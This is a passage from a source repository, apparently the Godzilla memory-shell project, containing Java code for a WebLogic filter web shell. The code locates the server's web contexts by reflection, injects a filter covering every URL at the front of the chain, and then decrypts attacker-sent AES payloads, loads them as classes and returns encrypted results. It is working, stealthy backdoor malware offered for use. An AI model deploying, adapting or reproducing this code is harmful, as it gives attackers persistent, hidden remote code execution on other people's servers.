e){ 60 | 61 | } 62 | 63 | try { 64 | Set childrenSet = (Set) getFieldValue(applicationRuntime,"children"); 65 | Iterator iterator = childrenSet.iterator(); 66 | 67 | while (iterator.hasNext()){ 68 | Object componentRuntime = iterator.next(); 69 | try { 70 | Object context = getFieldValue(componentRuntime,"context"); 71 | if (webAppServletContextClass.isInstance(context)){ 72 | webappContexts.add(context); 73 | } 74 | }catch (Throwable e){ 75 | 76 | } 77 | } 78 | 79 | }catch (Throwable e){ 80 | 81 | } 82 | } 83 | return webappContexts.toArray(); 84 | } 85 | private static Object[] getContextsByThreads()throws Throwable{ 86 | HashSet webappContexts = new HashSet(); 87 | ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); 88 | int threadCount = threadGroup.activeCount(); 89 | Thread[] threads = new Thread[threadCount]; 90 | threadGroup.enumerate(threads); 91 | for (int i = 0; i < threadCount; i++) { 92 | Thread thread = threads[i]; 93 | if (thread!=null){ 94 | Object workEntry = getFieldValue(thread,"workEntry"); 95 | if (workEntry!=null){ 96 | try { 97 | Object context = null; 98 | Object connectionHandler = getFieldValue(workEntry,"connectionHandler"); 99 | if (connectionHandler!=null){ 100 | Object request = getFieldValue(connectionHandler,"request"); 101 | if (request!=null){ 102 | context = getFieldValue(request,"context"); 103 | } 104 | } 105 | if (context == null){ 106 | context = getFieldValue(workEntry,"context"); 107 | } 108 | 109 | if (context!=null){ 110 | webappContexts.add(context); 111 | } 112 | }catch (Throwable e){ 113 | 114 | } 115 | } 116 | } 117 | } 118 | return webappContexts.toArray(); 119 | } 120 | private static Object[] getContexts() { 121 | HashSet webappContexts = new HashSet(); 122 | try { 123 | webappContexts.addAll(Arrays.asList(getContextsByMbean())); 124 | }catch (Throwable e){ 125 | 126 | } 127 | try { 128 | webappContexts.addAll(Arrays.asList(getContextsByThreads())); 129 | }catch (Throwable e){ 130 | 131 | } 132 | return webappContexts.toArray(); 133 | } 134 | 135 | private static boolean addFilter(Class filterClass){ 136 | boolean isOK = false; 137 | Object[] contexts = getContexts(); 138 | for (int i = 0; i < contexts.length; i++) { 139 | try { 140 | Object webContext = contexts[i]; 141 | 142 | Method getFilterManagerMethod = webContext.getClass().getMethod("getFilterManager"); 143 | getFilterManagerMethod.setAccessible(true); 144 | 145 | Method getServletClassLoaderMethod = webContext.getClass().getMethod("getServletClassLoader"); 146 | getServletClassLoaderMethod.setAccessible(true); 147 | 148 | Object servletClassLoader = getServletClassLoaderMethod.invoke(webContext); 149 | Object filterManager = getFilterManagerMethod.invoke(webContext); 150 | Map cachedClasses = (Map)getFieldValue(servletClassLoader,"cachedClasses"); 151 | 152 | 153 | //或者直接反射在这个classloader定义类 就不用写缓存了 不过就要硬编码一个class了 154 | cachedClasses.put(filterClass.getName(),filterClass); 155 | 156 | //String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers 157 | Method registerFilterMethod = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class); 158 | registerFilterMethod.setAccessible(true); 159 | registerFilterMethod.invoke(filterManager, filterClass.getName(), filterClass.getName(), new String[]{"/*"}, null, null, new String[]{"REQUEST","FORWARD","INCLUDE","ERROR"}); 160 | 161 | 162 | //将我们的filter置为第一位 163 | List filterPatternList = (List) getFieldValue(filterManager,"filterPatternList"); 164 | Object currentMapping = filterPatternList.remove(filterPatternList.size() - 1); 165 | filterPatternList.add(0,currentMapping); 166 | isOK = true; 167 | }catch (Throwable e){ 168 | 169 | } 170 | } 171 | return isOK; 172 | } 173 | 174 | private static Class loadClassEx(String className) throws ClassNotFoundException{ 175 | try { 176 | return Class.forName(className); 177 | } catch (Throwable e) { 178 | try { 179 | return Class.forName(className, true, Thread.currentThread().getContextClassLoader()); 180 | } catch (Throwable ignored) { 181 | try { 182 | Thread[] threads = new Thread[Thread.activeCount()]; 183 | Thread.enumerate(threads); 184 | for (int i = 0; i < threads.length; i++) { 185 | Thread thread = threads[i]; 186 | if (thread == null) { 187 | continue; 188 | } 189 | try { 190 | ClassLoader loader = thread.getContextClassLoader(); 191 | return loader.loadClass(className); 192 | } catch (Throwable ignored2) { 193 | 194 | } 195 | 196 | } 197 | 198 | } catch (Throwable ignored2) { 199 | 200 | } 201 | } 202 | 203 | } 204 | throw new ClassNotFoundException(className); 205 | } 206 | 207 | private static Field getField(Object obj, String fieldName){ 208 | Class clazz = null; 209 | 210 | if(obj == null){ 211 | return null; 212 | } 213 | 214 | if (obj instanceof Class){ 215 | clazz = (Class)obj; 216 | }else { 217 | clazz = obj.getClass(); 218 | } 219 | Field field = null; 220 | while (clazz!=null){ 221 | try { 222 | field = clazz.getDeclaredField(fieldName); 223 | clazz = null; 224 | }catch (Exception e){ 225 | clazz = clazz.getSuperclass(); 226 | } 227 | } 228 | 229 | if (field != null){ 230 | field.setAccessible(true); 231 | } 232 | 233 | return field; 234 | } 235 | private static Object getFieldValue(Object obj, String fieldName) throws Exception { 236 | Field f=null; 237 | if (obj instanceof Field){ 238 | f=(Field)obj; 239 | }else { 240 | f = getField(obj, fieldName); 241 | } 242 | if (f != null) { 243 | return f.get(obj); 244 | } 245 | return null; 246 | } 247 | 248 | 249 | private byte[] aes(byte[] s,boolean m){ 250 | try{ 251 | javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES"); 252 | c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(key.getBytes(),"AES")); 253 | return c.doFinal(s); 254 | }catch (Exception e){ 255 | return null; 256 | } 257 | } 258 | 259 | private static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; } 260 | 261 | private static String base64Encode(byte[] bs) throws Exception { 262 | Class base64; 263 | String value = null; 264 | try { 265 | base64 = Class.forName("java.util.Base64"); 266 | Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); 267 | value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { 268 | byte[].class 269 | }).invoke(Encoder, new Object[] { 270 | bs 271 | }); 272 | } catch (Exception e) { 273 | try { 274 | base64 = Class.forName("sun.misc.BASE64Encoder"); 275 | Object Encoder = base64.newInstance(); 276 | value = (String) Encoder.getClass().getMethod("encode", new Class[] { 277 | byte[].class 278 | }).invoke(Encoder, new Object[] { 279 | bs 280 | }); 281 | } catch (Exception e2) {} 282 | } 283 | return value; 284 | } 285 | private static byte[] base64Decode(String bs) throws Exception { 286 | Class base64; 287 | byte[] value = null; 288 | try { 289 | base64 = Class.forName("java.util.Base64"); 290 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); 291 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[] { 292 | String.class 293 | }).invoke(decoder, new Object[] { 294 | bs 295 | }); 296 | } catch (Exception e) { 297 | try { 298 | base64 = Class.forName("sun.misc.BASE64Decoder"); 299 | Object decoder = base64.newInstance(); 300 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] { 301 | String.class 302 | }).invoke(decoder, new Object[] { 303 | bs 304 | }); 305 | } catch (Exception e2) {} 306 | } 307 | return value; 308 | } 309 | 310 | 311 | @Override 312 | public void init(FilterConfig filterConfig) throws ServletException { 313 | 314 | } 315 | 316 | @Override 317 | public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { 318 | String contentType = servletRequest.getContentType(); 319 | try { 320 | if (contentType!=null && contentType.contains("application/x-www-form-urlencoded")) { 321 | String value = servletRequest.getParameter(password); 322 | if (value!=null){ 323 | byte[] data = base64Decode(value); 324 | data = aes(data, false); 325 | if (data != null && data.length > 0){ 326 | if (payloadClass == null) { 327 | ClassLoader loader = Thread.currentThread().getContextClassLoader(); 328 | if (loader == null) { 329 | loader = servletRequest.getClass().getClassLoader(); 330 | } 331 | payloadClass = new AesBase64WeblogicFilterShell(loader).defineClass(data,0,data.length); 332 | } else { 333 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); 334 | Object f = payloadClass.newInstance(); 335 | f.equals(arrOut); 336 | f.equals(servletRequest); 337 | f.equals(data); 338 | f.toString(); 339 | String md5 = md5(password + key); 340 | if (arrOut.size()>0) { 341 | PrintWriter printWriter = servletResponse.getWriter(); 342 | printWriter.write(md5.substring(0, 16)); 343 | printWriter.write(base64Encode(aes(arrOut.toByteArray(), true))); 344 | printWriter.write(md5.substring(16)); 345 | return; 346 | } 347 | } 348 | } 349 | } 350 | } 351 | }catch (Throwable e){ 352 | 353 | } 354 | filterChain.doFilter(servletRequest,servletResponse); 355 | } 356 | 357 | @Override 358 | public void destroy() { 359 | 360 | } 361 | } 362 | -------------------------------------------------------------------------------- /libs/servlet-api.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BeichenDream/GodzillaMemoryShellProject/808afedc044156a3f357ef5a551cc6bbcea1b26b/libs/servlet-api.jar -------------------------------------------------------------------------------- /libs/websocket-api.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/BeichenDream/GodzillaMemoryShellProject/808afedc044156a3f357ef5a551cc6bbcea1b26b/libs/websocket-api.jar --------------------------------------------------------------------------------